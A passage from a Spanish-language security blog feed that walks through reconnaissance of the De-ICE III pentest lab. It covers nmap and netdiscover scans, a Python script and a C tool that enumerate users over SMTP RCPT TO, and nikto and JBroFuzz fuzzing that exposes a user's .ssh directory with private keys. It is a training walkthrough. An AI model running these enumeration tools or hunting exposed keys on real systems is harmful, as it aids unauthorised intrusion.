&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
+ Server: Apache/2.0.55 (Unix) PHP/5.1.2<br />
+ OSVDB-0: Apache/2.0.55 appears to be outdated (current is at least Apache/2.2.14). Apache 1.3.41 and 2.0.63 are also current.<br />
+ OSVDB-0: PHP/5.1.2 appears to be outdated (current is at least 5.2.8)<br />
+ OSVDB-0: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE<br />
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST<br />
+ OSVDB-637: <strong>/~root/</strong>: Allowed to browse root&#8217;s home directory.<br />
+ OSVDB-3268: /icons/: Directory indexing is enabled: /icons<br />
+ OSVDB-3233: /icons/README: Apache default file found.<br />
+ 3588 items checked: 7 item(s) reported on remote host<br />
+ End Time:           2010-03-13 17:16:54 (29 seconds)<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
+ 1 host(s) tested</p>
<p style="text-align: justify;">Además de las alertas sobre las versiones desactualizadas de software, podemos destacar la identificación del directorio de usuario root. (<strong>~root</strong>). Esto nos permite deducir que posiblemente existan diferentes directorios para los usuarios identificados. Veamos:</p>
<p style="text-align: justify;"><strong>Con netcat</strong></p>
<p style="text-align: justify;"><strong>root@bt:/pentest/web/nikto# nc -v 192.168.2.101 80</strong><br />
192.168.2.101: inverse host lookup failed: Unknown server error : Connection timed out<br />
(UNKNOWN) [192.168.2.101] 80 (www) open<br />
GET <strong>/~root/</strong> HTTP/1.0</p>
<p style="text-align: justify;">HTTP/1.1 200 OK<br />
Date: Fri, 12 Mar 2010 17:36:11 GMT<br />
Server: Apache/2.0.55 (Unix) PHP/5.1.2<br />
Content-Length: 557<br />
Connection: close<br />
Content-Type: text/html</p>
<p style="text-align: justify;">&#8230;</p>
<p style="text-align: justify;"><strong>root@bt:/pentest/web/nikto# nc -v 192.168.2.101 80</strong><br />
192.168.2.101: inverse host lookup failed: Unknown server error : Connection timed out<br />
(UNKNOWN) [192.168.2.101] 80 (www) open<br />
GET<strong> /~pirrip/</strong> HTTP/1.0</p>
<p style="text-align: justify;">HTTP/1.1 200 OK<br />
Date: Fri, 12 Mar 2010 17:38:13 GMT<br />
Server: Apache/2.0.55 (Unix) PHP/5.1.2<br />
Content-Length: 561<br />
Connection: close<br />
Content-Type: text/html</p>
<p style="text-align: justify;">&#8230;</p>
<p style="text-align: justify;"><strong>root@bt:/pentest/web/nikto# nc -v 192.168.2.101 80</strong><br />
192.168.2.101: inverse host lookup failed: Unknown server error : Connection timed out<br />
(UNKNOWN) [192.168.2.101] 80 (www) open<br />
GET <strong>/~magwitch/</strong> HTTP/1.0</p>
<p style="text-align: justify;">HTTP/1.1 200 OK<br />
Date: Fri, 12 Mar 2010 17:40:13 GMT<br />
Server: Apache/2.0.55 (Unix) PHP/5.1.2<br />
Content-Length: 565<br />
Connection: close<br />
Content-Type: text/html</p>
<p style="text-align: justify;">&#8230;</p>
<p style="text-align: justify;"><strong>root@bt:/pentest/web/nikto# nc -v 192.168.2.101 80</strong><br />
192.168.2.101: inverse host lookup failed: Unknown server error : Connection timed out<br />
(UNKNOWN) [192.168.2.101] 80 (www) open<br />
GET<strong> /~havisham/</strong> HTTP/1.0</p>
<p style="text-align: justify;">HTTP/1.1 200 OK<br />
Date: Fri, 12 Mar 2010 17:42:27 GMT<br />
Server: Apache/2.0.55 (Unix) PHP/5.1.2<br />
Content-Length: 565<br />
Connection: close<br />
Content-Type: text/html</p>
<p style="text-align: justify;">Otra herramienta que nos permite identificar posibles usuarios, archivos, directorios en un host, es la herramienta de  <a href="http://www.s21sec.com/descargas/articuloFuzzing.pdf" target="_blank"><strong>Fuzzing</strong></a> <a href="http://www.owasp.org/index.php/Category:OWASP_JBroFuzz" target="_blank"><strong>JBroFuzz</strong></a></p>
<p style="text-align: justify;">Veamos:</p>
<p style="text-align: justify;">Tenemos los posibles usuarios válidos del sistema:</p>
<p>pickwick<br />
winkle<br />
snodgrass<br />
tupman<br />
weller<br />
tweller<br />
havisham<br />
magwitch<br />
pirrip<br />
nickleby<br />
rnickleby<br />
noggs<br />
squeers<br />
pinch<br />
tapley<br />
gamp<br />
marley<br />
scrooge<br />
cratchit<br />
sikes<br />
dawkins<br />
claypole<br />
root</p>
<p>Los cuales a su vez pueden tener un directorio como el identificado para root</p>
<p>Basta entonces con agregarle el símbolo virgulilla (~) al comienzo de cada uno y anexarlo a las listas de<a href="http://www.s21sec.com/descargas/articuloFuzzing.pdf" target="_blank"><strong> fuzzing</strong></a> de <strong> <a href="http://www.owasp.org/index.php/Category:OWASP_JBroFuzz" target="_blank">JBroFuzz</a></strong>.</p>
<p>0,http://192.168.2.101/~pickwick,404,Not Found,No,No<br />
1,http://192.168.2.101/~winkle,404,Not Found,No,No<br />
2,http://192.168.2.101/~snodgrass,404,Not Found,No,No<br />
3,http://192.168.2.101/~tupman,404,Not Found,No,No<br />
4,http://192.168.2.101/~weller,404,Not Found,No,No<br />
5,http://192.168.2.101/~tweller,404,Not Found,No,No<br />
<strong>6,http://192.168.2.101/~havisham,200,OK,No,No</strong><br />
<strong>7,http://192.168.2.101/~magwitch,200,OK,No,No</strong><br />
<strong>8,http://192.168.2.101/~pirrip,200,OK,No,No</strong><br />
9,http://192.168.2.101/~nickleby,404,Not Found,No,No<br />
10,http://192.168.2.101/~rnickleby,404,Not Found,No,No<br />
11,http://192.168.2.101/~noggs,404,Not Found,No,No<br />
12,http://192.168.2.101/~squeers,404,Not Found,No,No<br />
13,http://192.168.2.101/~pinch,404,Not Found,No,No<br />
14,http://192.168.2.101/~tapley,404,Not Found,No,No<br />
15,http://192.168.2.101/~gamp,404,Not Found,No,No<br />
16,http://192.168.2.101/~marley,404,Not Found,No,No<br />
17,http://192.168.2.101/~scrooge,404,Not Found,No,No<br />
18,http://192.168.2.101/~cratchit,404,Not Found,No,No<br />
19,http://192.168.2.101/~sikes,404,Not Found,No,No<br />
20,http://192.168.2.101/~dawkins,404,Not Found,No,No<br />
21,http://192.168.2.101/~claypole,404,Not Found,No,No<br />
<strong>22,http://192.168.2.101/~root<strong>,200,OK,No,No</strong></strong></p>
<p>Las líneas que están en negrita corresponden a ubicaciones reales y activas en el servidor objetivo</p>
<p>~havisham<br />
~magwitch<br />
~pirrip<br />
~root</p>
<p>Hagamos ahora una exploración de directorios y archivos mediante JBroFuzz a los directorios raíz del server y de los usuarios identificados.</p>
<p><strong>Al host 192.168.2.100</strong></p>
<p>4,http://192.168.2.100//icons/,200,OK,No,No<br />
784,http://192.168.2.100//index.php/123,200,OK,No,No<br />
<strong>802,http://192.168.2.100//info.php,200,OK,No,No</strong> (Y)</p>
<p><strong>Al host 192.1682.101</strong></p>
<p>4,http://192.168.2.101//icons/,200,OK,No,No</p>
<p>Ahora a los directorios identificados para los usuarios:</p>
<p><strong>Usuario havisham:</strong></p>
<p>Ningún resultado de interés</p>
<p><strong>Usuario magwitch:</strong></p>
<p>Ningún resultado de interés</p>
<p><strong>Usuario pirrip:</strong></p>
<p>385,http://192.168.2.101/~pirrip//.ssh,200,OK,No,No</p>
<p><strong>Usuario root:</strong></p>
<p>Ningún resultado de interés</p>
<p>Vemos entonces como pudimos identificar la existencia del directorio .ssh para el usuario pirrip</p>
<p>http://192.168.2.101/~pirrip//.ssh/</p>
<h1>Index of /~pirrip//.ssh</h1>
<pre><img src="http://192.168.2.101/icons/blank.gif" alt="Icon " /> Name                    Last modified      Size  Description
<hr /><img src="http://192.168.2.101/icons/back.gif" alt="[DIR]" /> Parent Directory                             -
<img src="http://192.168.2.101/icons/unknown.gif" alt="[   ]" /> id_rsa                  05-Jan-2008 20:29  1.6K
<img src="http://192.168.2.101/icons/unknown.gif" alt="[   ]" /> id_rsa.pub              05-Jan-2008 20:29  393
<hr /></pre>
<address>Apache/2.0.55 (Unix) PHP/5.1.2 Server at 192.168.2.101 Port 80</address>
<p>En el próximo post veremos como podemos utilizar la información obtenida para penetrar el sistema.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-%e2%80%93-pruebas-de-autenticacion-y-escaneo-de-vulnerabilidades/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Desarrollo del entorno De-Ice III – Enumeración de usuarios</title>
		<link>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-%e2%80%93-enumeracion-de-usuarios</link>
		<comments>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-%e2%80%93-enumeracion-de-usuarios#comments</comments>
		<pubDate>Fri, 12 Mar 2010 17:41:18 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[Test de Penetración]]></category>
		<category><![CDATA[BackTrack]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[De-ICE]]></category>
		<category><![CDATA[Enumeración de usuarios]]></category>
		<category><![CDATA[Penetration Test]]></category>
		<category><![CDATA[SMTP]]></category>

		<guid isPermaLink="false">http://www.sec-track.com/?p=496</guid>
		<description><![CDATA[Continúa desde: Desarrollo del entorno De-Ice III – Network Mapping, Port Scanning Una vez hemos escaneado e identificados los servicios disponibles en los sistemas objetivos vamos a enumerar los posibles usuarios de estos. Tenemos entonces dos host objetivos con los siguientes servicios y versiones disponibles: 192.168.2.100 21/tcp  open   ftp      vsftpd 2.0.4 22/tcp  open   ssh      OpenSSH [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Continúa desde: <a title="Permanent Link to Desarrollo del entorno De-Ice III – Network Mapping, Port Scanning" rel="bookmark" href="../desarrollo-del-entorno-de-ice-iii-network-mapping-port-scanning">Desarrollo del entorno De-Ice III – Network Mapping, Port Scanning</a></p>
<p style="text-align: justify;">Una vez hemos escaneado e identificados los servicios disponibles en los sistemas objetivos vamos a enumerar los posibles usuarios de estos.</p>
<p style="text-align: justify;">Tenemos entonces dos host objetivos con los siguientes servicios y versiones disponibles:</p>
<p style="text-align: justify;"><span id="more-496"></span><strong>192.168.2.100 </strong></p>
<p style="text-align: justify;">21/tcp  open   ftp      vsftpd 2.0.4<br />
22/tcp  open   ssh      OpenSSH 4.3 (protocol 1.99)<br />
25/tcp  open   smtp     Sendmail 8.13.7/8.13.7<br />
80/tcp  open   http     Apache httpd 2.0.55 ((Unix) PHP/5.1.2)<br />
110/tcp open   pop3     Openwall popa3d<br />
143/tcp open   imap     UW imapd 2004.357<br />
443/tcp closed https</p>
<p style="text-align: justify;"><strong>192.168.2.101</strong></p>
<p style="text-align: justify;">80/tcp open  http    Apache httpd 2.0.55 ((Unix) PHP/5.1.2)</p>
<p style="text-align: justify;">Realicemos una exploración manual al sitio web <strong>192.168.2.100</strong> en busca de información sensible o de interés para nuestros propósitos:</p>
<p style="text-align: justify;">En el sitio web podemos encontrarnos un directorio de personas involucradas con la empresa:</p>
<p style="text-align: justify;">﻿﻿<strong>Development:</strong><br />
Samuel Pickwick &#8211; pickwick@herot.net<br />
Nathaniel Winkle &#8211; winkle@herot.net<br />
Augustus Snodgrass &#8211; snodgrass@herot.net<br />
Tracy Tupman &#8211; tupman@herot.net<br />
Sam Weller &#8211; weller@herot.net<br />
Tony Weller &#8211; tweller@herot.net<br />
Estella Havisham &#8211; havisham@herot.net<br />
Abel Magwitch &#8211; magwitch@herot.net<br />
Philip Pirrip &#8211; pirrip@herot.net</p>
<p><strong>Testing:</strong><br />
Nicholas Nickleby &#8211; nickleby@herot.net<br />
Ralph Nickleby &#8211; rnickleby@herot.net<br />
Newman Noggs &#8211; noggs@herot.net<br />
Wackford Squeers &#8211; squeers@herot.net<br />
Thomas Pinch &#8211; pinch@herot.net<br />
Mark Tapley &#8211; tapley@herot.net<br />
Sarah Gamp &#8211; gamp@herot.net</p>
<p><strong>Marketing:</strong><br />
Jacob Marley &#8211; marley@herot.net<br />
Ebenezer Scrooge &#8211; scrooge@herot.net<br />
Bob Cratchit &#8211; cratchit@herot.net</p>
<p><strong>Human Resources:</strong><br />
Bill Sikes &#8211; sikes@herot.net<br />
Jack Dawkins &#8211; dawkins@herot.net<br />
Noah Claypole &#8211; claypole@herot.net</p>
<p style="text-align: justify;">Posiblemente estos sean usuarios válidos en el sistema y pueda realizarse un inicio de sesión en alguno de los servicios disponibles en el sistema.</p>
<p style="text-align: justify;">Ahora exploremos el host <strong>192.168.2.101</strong>.</p>
<p style="text-align: justify;">En este nos encontramos una serie de políticas de uso/configuración de aplicaciones/actividades relacionadas con la administración y la seguridad del servidor.</p>
<ul>
<li> Software Installation Policy</li>
<li> Server Malware Protection Policy</li>
<li> Employee Internet Use Monitoring and Filtering Policy&#8221;</li>
<li> Acceptable Use Policy</li>
<li> Audit Vulnerability Scan Policy</li>
<li> Email Policy</li>
</ul>
<p style="text-align: justify;">Tratemos entonces de autenticarnos en alguno de los servicios disponibles haciendo uso del listado de posibles usuarios con passwords comunes/blanco/mismo-nombre-usuario.</p>
<p style="text-align: justify;">Primero depuremos el listado de posibles usuarios:</p>
<p style="text-align: justify;">pickwick<br />
winkle<br />
snodgrass<br />
tupman<br />
weller<br />
tweller<br />
havisham<br />
magwitch<br />
pirrip<br />
nickleby<br />
rnickleby<br />
noggs<br />
squeers<br />
pinch<br />
tapley<br />
gamp<br />
marley<br />
scrooge<br />
cratchit<br />
sikes<br />
dawkins<br />
claypole</p>
<p style="text-align: justify;">Ahora identifiquemos y verfiquemos los usuarios reales del sistema.</p>
<p style="text-align: justify;">Para esta actividad aplicaremos una técnica mostrada en un entorno anterior, pero ahora perfeccionada por <strong>Roguer </strong>(jollyroguer [at] gmail [dot] com)  quien ha desarrollado un script en python que automatizará esa consulta. Veamos:</p>
<p style="text-align: justify;"><a href="http://pastebin.com/NQ3iDrg1" target="_blank">#usensmtp.py</a></p>
<p style="text-align: justify;">######usensmtp.py######<br />
import getpass<br />
import sys<br />
import telnetlib</p>
<p>print &#8220;Welcome to usensmtp.py&#8221;<br />
print &#8220;Created by Roguer&#8221;<br />
host = raw_input(&#8220;Digite la ip del objetivo: &#8220;)<br />
port = raw_input(&#8220;Digite el puerto del objetivo: &#8220;)<br />
users_file = raw_input(&#8220;Digite el nombre del diccionario de usuarios: &#8220;)<br />
tn = telnetlib.Telnet(host,port)<br />
tn.write(&#8220;helo x&#8221; + &#8220;\n&#8221;)<br />
tn.write(&#8220;mail from: roguer@slax.example.net&#8221; + &#8220;\n&#8221;)</p>
<p style="text-align: justify;">#este valor puede cambiar para otros entornos<br />
print tn.read_until(&#8220;Sender ok&#8221;,1)<br />
inp = open(users_file,&#8221;r&#8221;)<br />
for linea in inp.readlines():<br />
tn.write(&#8220;rcpt to: &#8220;+ linea)<br />
print tn.read_until(&#8220;User unknown&#8221;,0.1)<br />
inp.close()<br />
tn.write(&#8220;quit&#8221; + &#8220;\n&#8221;)<br />
print &#8220;created by Roguer&#8221;<br />
print &#8220;jollyroguer@gmail.com&#8221;<br />
#### fin####</p>
<p style="text-align: justify;">También podemos utilizar la herramienta <a href="http://pentestmonkey.net/tools/smtp-user-enum/" target="_blank"><strong>smtp-user-enum</strong></a> que había mostrado en el primer entorno para los propósitos de enumeración de usuarios.</p>
<p style="text-align: justify;">Los resultados arrojados por el script de Roguer son los siguientes:</p>
<p style="text-align: justify;"><strong>root@bt: ~#python usensmtp.py</strong><br />
Welcome to usensmtp.py<br />
Created by Roguer<br />
Digite la ip del objetivo: 192.168.2.100<br />
Digite el puerto del objetivo: 25<br />
Digite el nombre del diccionario de usuarios: usuarios.txt<br />
220 slax.example.net ESMTP Sendmail 8.13.7/8.13.7; Thu, 4 Mar 2010<br />
08:07:24 GMT<br />
250 slax.example.net Hello [192.168.2.10], pleased to meet you<br />
250 2.1.0 roguer@slax.example.net&#8230; Sender ok<br />
250 2.1.5 root&#8230; Recipient ok<br />
550 5.1.1 pickwick&#8230; User unknown<br />
550 5.1.1 winkle&#8230; User unknown<br />
550 5.1.1 snodgrass&#8230; User unknown<br />
550 5.1.1 tupman&#8230; User unknown<br />
550 5.1.1 weller&#8230; User unknown<br />
550 5.1.1 tweller&#8230; User unknown<br />
250 2.1.5 havisham&#8230; Recipient ok<br />
250 2.1.5 magwitch&#8230; Recipient ok<br />
250 2.1.5 pirrip&#8230; Recipient ok<br />
550 5.1.1 nickleby&#8230; User unknown<br />
550 5.1.1 rnickleby&#8230; User unknown<br />
550 5.1.1 noggs&#8230; User unknown<br />
550 5.1.1 squeers&#8230; User unknown<br />
550 5.1.1 pinch&#8230; User unknown<br />
550 5.1.1 tapley&#8230; User unknown<br />
550 5.1.1 gamp&#8230; User unknown<br />
550 5.1.1 marley&#8230; User unknown<br />
550 5.1.1 scrooge&#8230; User unknown<br />
550 5.1.1 cratchit&#8230; User unknown<br />
550 5.1.1 sikes&#8230; User unknown<br />
550 5.1.1 dawkins&#8230; User unknown<br />
550 5.1.1 claypole&#8230; User unknown<br />
550 5.1.1 spickwick&#8230; User unknown<br />
550 5.1.1 nwinkle&#8230; User unknown<br />
550 5.1.1 asnodgrass&#8230; User unknown<br />
550 5.1.1 ttupman&#8230; User unknown<br />
550 5.1.1 sweller&#8230; User unknown<br />
550 5.1.1 tweller&#8230; User unknown<br />
550 5.1.1 ehavisham&#8230; User unknown<br />
550 5.1.1 amagwitch&#8230; User unknown<br />
550 5.1.1 ppirrip&#8230; User unknown<br />
550 5.1.1 nnickleby&#8230; User unknown<br />
550 5.1.1 rnickleby&#8230; User unknown<br />
550 5.1.1 nnoggs&#8230; User unknown<br />
550 5.1.1 wsqueers&#8230; User unknown<br />
550 5.1.1 tpinch&#8230; User unknown<br />
550 5.1.1 mtapley&#8230; User unknown<br />
550 5.1.1 sgamp&#8230; User unknown<br />
550 5.1.1 jmarley&#8230; User unknown<br />
550 5.1.1 escrooge&#8230; User unknown<br />
550 5.1.1 bcratchit&#8230; User unknown<br />
550 5.1.1 bsikes&#8230; User unknown<br />
550 5.1.1 jdawkins&#8230; User unknown<br />
550 5.1.1 nclaypole&#8230; User unknown<br />
550 5.1.1 samuel&#8230; User unknown<br />
550 5.1.1 nathaniel&#8230; User unknown<br />
550 5.1.1 augustus&#8230; User unknown<br />
550 5.1.1 tracy&#8230; User unknown<br />
550 5.1.1 sam&#8230; User unknown<br />
550 5.1.1 tony&#8230; User unknown<br />
550 5.1.1 estella&#8230; User unknown<br />
550 5.1.1 abel&#8230; User unknown<br />
550 5.1.1 philip&#8230; User unknown<br />
550 5.1.1 nicholas&#8230; User unknown<br />
550 5.1.1 ralph&#8230; User unknown<br />
550 5.1.1 newman&#8230; User unknown<br />
550 5.1.1 wackford&#8230; User unknown<br />
550 5.1.1 thomas&#8230; User unknown<br />
550 5.1.1 mark&#8230; User unknown<br />
550 5.1.1 sarah&#8230; User unknown<br />
550 5.1.1 jacob&#8230; User unknown<br />
550 5.1.1 ebenezer&#8230; User unknown<br />
550 5.1.1 bob&#8230; User unknown<br />
550 5.1.1 bill&#8230; User unknown<br />
550 5.1.1 jack&#8230; User unknown<br />
550 5.1.1 noah&#8230; User unknown<br />
550 5.1.1 samuelp&#8230; User unknown<br />
550 5.1.1 nathanielw&#8230; User unknown<br />
550 5.1.1 augustuss&#8230; User unknown<br />
550 5.1.1 tracyt&#8230; User unknown<br />
550 5.1.1 samw&#8230; User unknown<br />
550 5.1.1 tonyw&#8230; User unknown<br />
550 5.1.1 estellah&#8230; User unknown<br />
550 5.1.1 abelm&#8230; User unknown<br />
550 5.1.1 philipp&#8230; User unknown<br />
550 5.1.1 nicholasn&#8230; User unknown<br />
550 5.1.1 ralphn&#8230; User unknown<br />
550 5.1.1 newmann&#8230; User unknown<br />
550 5.1.1 wackfords&#8230; User unknown<br />
550 5.1.1 thomasp&#8230; User unknown<br />
550 5.1.1 markt&#8230; User unknown<br />
550 5.1.1 sarahg&#8230; User unknown<br />
550 5.1.1 jacobm&#8230; User unknown<br />
550 5.1.1 ebenezers&#8230; User unknown<br />
550 5.1.1 bobc&#8230; User unknown<br />
550 5.1.1 bills&#8230; User unknown<br />
550 5.1.1 jackd&#8230; User unknown<br />
created by Roguer<br />
jollyroguer @ gmail.com</p>
<p style="text-align: justify;">Para quienes represente algún inconveniente ejecutar el script en python, también existe otra herramienta escrita en C que me ha resultado bastante efectiva a la hora de realizar enumeración de usuarios a través del servicio SMTP con RCPT. Veamos:</p>
<p style="text-align: justify;"><a href="http://pastebin.com/euyMrB4E" target="_blank"><strong>SMTP (RCPT TO) User enumeration</strong></a></p>
<p style="text-align: justify;">Una ves descargado/copiado como <strong>rcpt2.c</strong> (foo.c) y editado el código según nuestras necesidades, procedemos a compilarlo para generar el binario.</p>
<p style="text-align: justify;"><strong>Edición:</strong></p>
<p style="text-align: justify;">Solo necesité editar las siguientes lineas (negrita):</p>
<p style="text-align: justify;">define PORT            25<br />
#define BUFFSIZE        2048<br />
#define NAME            &#8220;rcpt2&#8243;<br />
<strong>#define HELO            &#8220;HELO Sec-Track\n&#8221;</strong><br />
<strong>#define MAIL            &#8220;mail from:&lt;sectrack@slax.example.net&gt;\n&#8221;</strong><br />
#define RCPT2           &#8220;rcpt to: &#8220;</p>
<p style="text-align: justify;"><strong>Compilación:</strong></p>
<p style="text-align: justify;">root@bt:~# gcc rcpt2.c -o user_enumeration</p>
<p style="text-align: justify;"><strong>Ejecución:</strong></p>
<p><strong>root@bt:~# ./user_enumeration</strong><br />
rcpt2 by B-r00t. (c) 2003.<br />
Usage:  ./user_enumeration &lt;USERLIST&gt; &lt;HOST&gt;<br />
./user_enumeration usernames.txt smtp.acme.com</p>
<p><strong>Resultados:</strong></p>
<p>root@bt:~# ./user_enumeration users.txt 192.168.2.100<br />
rcpt2 by B-r00t. (c) 2003.<br />
Usernames from: users.txt<br />
RCPT TO username enumeration on 192.168.2.100.</p>
<p>BANNER: 220 slax.example.net ESMTP Sendmail 8.13.7/8.13.7; Fri, 12 Mar 2010 11:35:30 GMT<br />
SEND: HELO avatar<br />
RECV: 250 slax.example.net Hello [192.168.2.1], pleased to meet you<br />
2010 11:35:30 GMT</p>
<p>SENT: mail from:&lt;avatar@slax.example.net&gt;<br />
RECV: 250 2.1.0 &lt;avatar@slax.example.net&gt;&#8230; Sender ok</p>
<p>VALID_USER: <strong>root</strong><br />
VALID_USER: <strong>havisham</strong><br />
VALID_USER: <strong>magwitch</strong><br />
VALID_USER: <strong>pirrip</strong></p>
<p>Sending RSET &amp; QUIT to 192.168.2.100</p>
<p>Ok Done!</p>
<p>Como se puede ver logramos obtener algunos de los usuarios del sistema. Estos son:</p>
<ul>
<li>root</li>
<li>havisham</li>
<li>magwitch</li>
<li>pirrip</li>
</ul>
<p>En el próximo post evaluaremos la posibilidad de autenticarnos con estos usuarios en los servicios disponibles (brute force, contraseñas débiles, etc). También trataremos de identificar vulnerabilidades en el sistema que nos permitan determinar posibles puntos de intrusión.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-%e2%80%93-enumeracion-de-usuarios/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Desarrollo del entorno De-Ice III &#8211; Network Mapping, Port Scanning</title>
		<link>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-network-mapping-port-scanning</link>
		<comments>http://www.sec-track.com/desarrollo-del-entorno-de-ice-iii-network-mapping-port-scanning#comments</comments>
		<pubDate>Thu, 11 Mar 2010 08:48:34 +0000</pubDate>
		<dc:creator>4v4t4r</dc:creator>
				<category><![CDATA[Test de Penetración]]></category>
		<category><![CDATA[De-ICE]]></category>
		<category><![CDATA[Footprinting]]></category>
		<category><![CDATA[NetDiscover]]></category>
		<category><![CDATA[Network Mapping]]></category>
		<category><![CDATA[Nmap]]></category>
		<category><![CDATA[Penetration Test]]></category>

		<guid isPermaLink="false">http://www.sec-track.com/?p=469</guid>
		<description><![CDATA[Antes de comenzar con el desarrollo de este entorno virtualizado de intrusión creo que es necesario recordar sobre algunos de los objetivos generales en esta primera serie de entornos enfocados a los Test de Penetración. Objetivos Generales para los entornos De-Ice I, II, III y PwnOS También es necesario describir nuevamente el escenario propuesto para [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Antes  de comenzar con el desarrollo de este entorno virtualizado de intrusión  creo que es necesario recordar sobre algunos de los objetivos generales  en esta primera serie de entornos enfocados a los <a href="http://www.sec-track.com/test-de-penetracion" target="_blank"><strong>Test de Penetración</strong></a>.</p>
<h2 style="text-align: justify;"><a title="Permanent Link to Objetivos Generales para los entornos De-Ice I,  II, III y PwnOS" rel="bookmark" href="../objetivos-generales-para-los-entornos-de-ice-i-ii-iii-y-pwnos">Objetivos  Generales para los entornos De-Ice I, II, III y PwnOS</a></h2>
<p style="text-align: justify;">También es necesario describir nuevamente el escenario propuesto para este Test de Penetración:</p>
<h2 style="text-align: justify;"><a title="Permanent Link to De-ICE PenTest LiveCDs (Nivel  III)" rel="bookmark" href="../de-ice-pentest-livecds-nivel-iii">De-ICE PenTest LiveCDs (Nivel III)</a></h2>
<p style="text-align: justify;">El procedimiento de implementación de este entorno no varía mucho con respecto a los anteriores. Tan solo cambia la red objetivo, que para esta ocasión será la 192.168.2.*</p>
<p style="text-align: justify;">Identifiquemos los host vivos (conectados) en la red (Tool: <a href="http://www.sec-track.com/tag/netdiscover" target="_blank"><strong>Netdiscover</strong></a> incluída en <a href="http://www.sec-track.com/tag/backtrack" target="_blank"><strong>BackTrack</strong></a>):</p>
<pre style="text-align: justify;">root@bt:~# netdiscover eth0</pre>
<pre style="text-align: justify;">3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180
 _____________________________________________________________________________
   IP            At MAC Address      Count  Len   MAC Vendor
 -----------------------------------------------------------------------------
 192.168.2.1     00:50:56:c0:00:07    01    060   Unknown vendor
 192.168.2.100   00:0c:29:0c:b9:e5    01    060   Unknown vendor
 192.168.2.101   00:0c:29:0c:b9:e5    01    060   Unknown vendor
 Currently scanning: 192.168.9.0/16   |   Our Mac is: 00:0c:29:ac:c4:e0 - 0</pre>
<p style="text-align: justify;">Una vez hemos identificados los posibles host&#8217;s objetivos pasemos a escanearlos en detalle para obtener más información sobre estos.</p>
<p style="text-align: justify;">Veamos este proceso con Nmap.</p>
<p style="text-align: justify;">Escaneo y explicación enviada por Roguer (jollyroguer [at] gmail.com):</p>
<p style="text-align: justify;"><strong>root@bt: ~#nmap -sP 192.168.2.1-255</strong><br />
Starting Nmap 5.00 ( <a href="http://nmap.org/" target="_blank">http://nmap.org</a> ) at 2010-02-25 23:35 UTC<br />
Host 192.168.2.10 is up.<br />
Host 192.168.2.100 is up (0.00066s latency).<br />
MAC Address: 00:0C:29:78:57:AE (VMware)<br />
Host 192.168.2.101 is up (0.00066s latency).<br />
MAC Address: 00:0C:29:78:57:AE (VMware)<br />
Nmap done: 255 IP addresses (3 hosts up) scanned in 2.06 seconds</p>
<p style="text-align: justify;">En donde obtengo que hay 3 equipos arriba, de los cuales el .10 es mi máquina y los 100 y 101 objetivos enseguida nos centraremos en el equipo .100</p>
<p>Arranco haciendo un escaneo de puertos, como es un entorno seguro no hay necesidad de ocultar la ip de origen</p>
<p><strong>root@bt: ~#nmap -sV -T Aggressive -O 192.168.2.100</strong><br />
Starting Nmap 5.00 ( <a href="http://nmap.org/" target="_blank">http://nmap.org</a> ) at 2010-02-25 23:36 UTC<br />
Interesting ports on <a href="http://192.168.2.100/" target="_blank">192.168.2.100</a>:<br />
Not shown: 992 filtered ports<br />
PORT    STATE  SERVICE  VERSION<br />
20/tcp  closed ftp-data<br />
21/tcp  open   ftp      vsftpd 2.0.4<br />
22/tcp  open   ssh      OpenSSH 4.3 (protocol 1.99)<br />
25/tcp  open   smtp     Sendmail 8.13.7/8.13.7<br />
80/tcp  open   http     Apache httpd 2.0.55 ((Unix) PHP/5.1.2)<br />
110/tcp open   pop3     Openwall popa3d<br />
143/tcp open   imap     UW imapd 2004.357<br />
443/tcp closed https<br />
MAC Address: 00:0C:29:78:57:AE (VMware)<br />
Device type: general purpose<br />
Running: Linux 2.6.X<br />
OS details: Linux 2.6.13 &#8211; 2.6.24<br />
Network Distance: 1 hop<br />
Service Info: Host: <a href="http://slax.example.net/" target="_blank">slax.example.net</a>;  OS: Unix<br />
OS and Service detection performed. Please report any incorrect<br />
results at <a href="http://nmap.org/submit/" target="_blank">http://nmap.org/submit/</a> .<br />
Nmap done: 1 IP address (1 host up) scanned in 20.10 seconds</p>
<p style="text-align: justify;">Como podemos ver hay varios servicios corriendo en este equipo, así que vamos a tratar de obternet información como en los entornos anteriores.</p>
<p style="text-align: justify;">&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p style="text-align: justify;">Realicemos un escaneo para identificar servicios y versiones en el host 192.168.2.101</p>
<p style="text-align: justify;"><strong>root@bt:~# nmap -PT80 192.168.2.101</strong></p>
<p>Starting Nmap 5.00 ( http://nmap.org ) at 2010-03-02 13:09 COT<br />
Interesting ports on 192.168.2.101:<br />
Not shown: 999 filtered ports<br />
PORT   STATE SERVICE<br />
80/tcp open  http<br />
MAC Address: 00:0C:29:0C:B9:E5 (VMware)</p>
